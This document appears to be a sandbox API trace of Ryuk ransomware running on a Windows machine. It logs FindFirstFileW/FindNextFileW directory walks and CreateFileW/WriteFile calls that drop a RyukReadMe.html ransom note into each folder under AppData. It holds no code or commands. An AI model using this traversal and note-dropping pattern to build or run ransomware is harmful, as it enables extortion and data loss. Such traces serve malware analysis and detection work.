	[0235.561] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.562] GetLastError () returned 0xb7
	[0235.562] CloseHandle (hObject=0x72c) returned 1
	[0235.562] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.563] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.563] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0235.563] SetLastError (dwErrCode=0x0) 
	[0235.563] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.565] GetLastError () returned 0x0
	[0235.565] WriteFile (in: hFile=0x734, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0235.569] CloseHandle (hObject=0x734) returned 1
	[0235.570] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0235.571] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.571] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0235.571] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0235.571] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0235.572] SetLastError (dwErrCode=0x0) 
	[0235.572] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.576] GetLastError () returned 0x0
	[0235.577] WriteFile (in: hFile=0x734, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0235.580] CloseHandle (hObject=0x734) returned 1
	[0235.581] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn1", cAlternateFileName="")) returned 1
	[0235.582] SetLastError (dwErrCode=0x0) 
	[0235.582] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.582] GetLastError () returned 0xb7
	[0235.582] CloseHandle (hObject=0x734) returned 1
	[0235.582] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0235.583] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.583] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0235.583] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0235.583] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0235.584] SetLastError (dwErrCode=0x0) 
	[0235.584] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.589] GetLastError () returned 0x0
	[0235.589] WriteFile (in: hFile=0x734, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0235.593] CloseHandle (hObject=0x734) returned 1
	[0235.594] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 1
	[0235.594] SetLastError (dwErrCode=0x0) 
	[0235.595] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.595] GetLastError () returned 0xb7
	[0235.595] CloseHandle (hObject=0x734) returned 1
	[0235.595] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0235.599] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.599] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0235.599] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0235.599] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0235.599] SetLastError (dwErrCode=0x0) 
	[0235.599] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn2\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.601] GetLastError () returned 0x0
	[0235.601] WriteFile (in: hFile=0x734, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0235.605] CloseHandle (hObject=0x734) returned 1
	[0235.607] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 0
	[0235.607] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.607] SetLastError (dwErrCode=0x0) 
	[0235.607] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.608] GetLastError () returned 0xb7
	[0235.608] CloseHandle (hObject=0x72c) returned 1
	[0235.608] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1
	[0235.608] SetLastError (dwErrCode=0x0) 
	[0235.608] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.608] GetLastError () returned 0xb7
	[0235.609] CloseHandle (hObject=0x72c) returned 1
	[0235.609] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.609] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.610] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa1c6ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaa1c6ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaa1c6ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="cversions.1.db", cAlternateFileName="CVERSI~1.DB")) returned 1
	[0235.610] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x408bd0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x408bd0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x408bd0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x18388, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db", cAlternateFileName="{AFBF9~3.DB")) returned 1
	[0235.610] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 1
	[0235.610] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 0
	[0235.610] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.610] SetLastError (dwErrCode=0x0) 
	[0235.610] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.613] GetLastError () returned 0x0
	[0235.613] WriteFile (in: hFile=0x72c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.617] CloseHandle (hObject=0x72c) returned 1
	[0235.618] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1
	[0235.618] SetLastError (dwErrCode=0x0) 
	[0235.619] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.619] GetLastError () returned 0xb7
	[0235.619] CloseHandle (hObject=0x72c) returned 1
	[0235.619] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
